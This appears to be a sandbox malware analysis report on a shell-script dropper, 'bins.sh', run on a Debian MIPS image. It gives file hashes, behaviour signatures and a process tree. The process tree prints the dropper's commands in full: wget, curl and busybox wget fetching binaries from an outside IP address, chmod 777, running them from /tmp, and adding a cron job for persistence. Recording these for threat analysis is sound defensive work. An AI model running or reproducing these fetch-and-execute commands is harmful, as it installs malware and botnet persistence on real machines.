Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 18:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bff584999b22d9de46e6deaafea9275

  • SHA1

    efd709e5f86dd46ec4ec77ba703a641fbbbc5b6c

  • SHA256

    4096659489b539ac00df12c2c960bb1c87cd7b1998118c549a4466cccb969e15

  • SHA512

    e50cd035449bac71d40281310f9e20c6f8fa30bc7b586b890918eb8481c6e1dca4853d3353e0c54d9674f7040941278b65c9969ff25bb74473ca756099d8f8cc

  • SSDEEP

    192:HImmkdESJRVe2tmuUUaTKamuUWJRVCmmkds:HImmkdESJRc2LaTKeJRkmmkds

Malware Config

Signatures

  • Contacts a large (2192) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:732
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:735
        • /usr/bin/wget
          wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:740
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:759
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:761
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:762
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          PID:763
        • /bin/rm
          rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
            PID:765
          • /usr/bin/wget
            wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:766
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:767
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:772
          • /bin/chmod
            chmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • File and Directory Permissions Modification
            PID:779
          • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            ./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:780
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:782
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:784
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:786
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:787
              • /bin/rm
                rm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
                2⤵
                  PID:798
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                  2⤵
                    PID:882
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                    2⤵
                      PID:885
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      2⤵
                      • Writes file to tmp directory
                      PID:887
                    • /bin/chmod
                      chmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      2⤵
                      • File and Directory Permissions Modification
                      PID:897
                    • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      ./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      2⤵
                      • Executes dropped EXE
                      PID:898
                    • /bin/rm
                      rm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
                      2⤵
                        PID:903
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                        2⤵
                          PID:905
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                          2⤵
                            PID:906
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                            2⤵
                            • Writes file to tmp directory
                            PID:909
                          • /bin/chmod
                            chmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                            2⤵
                            • File and Directory Permissions Modification
                            PID:915
                          • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                            ./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                            2⤵
                            • Executes dropped EXE
                            PID:916
                          • /bin/rm
                            rm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                            2⤵
                              PID:917
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                              2⤵
                                PID:918
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                2⤵
                                  PID:919
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:920
                                • /bin/chmod
                                  chmod 777 qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:925
                                • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                  ./qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                  2⤵
                                  • Executes dropped EXE
                                  PID:926
                                • /bin/rm
                                  rm qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                                  2⤵
                                    PID:928
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                                    2⤵
                                      PID:929
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                                      2⤵
                                        PID:930

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J

                                      Filesize

                                      122KB

                                      MD5

                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                      SHA1

                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                      SHA256

                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                      SHA512

                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                    • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /var/spool/cron/crontabs/tmp.nuo2OI

                                      Filesize

                                      210B

                                      MD5

                                      825f762be04363dadd561fe46e30377c

                                      SHA1

                                      cb82cde09afebcb511f8a19f5a541934cc7d4d02

                                      SHA256

                                      4a4d6c846e9e19b6eacc58a253ac6d12885a1126ef73efc1cc70116639b6d18f

                                      SHA512

                                      302376a03733bd643ed8de9791666abe6a96245c0c9586465a647f2cde0d56d69ae89dd6fd2e7758283f94d8686863ff0a0fa61b2f73a9589dfaa625275d99fe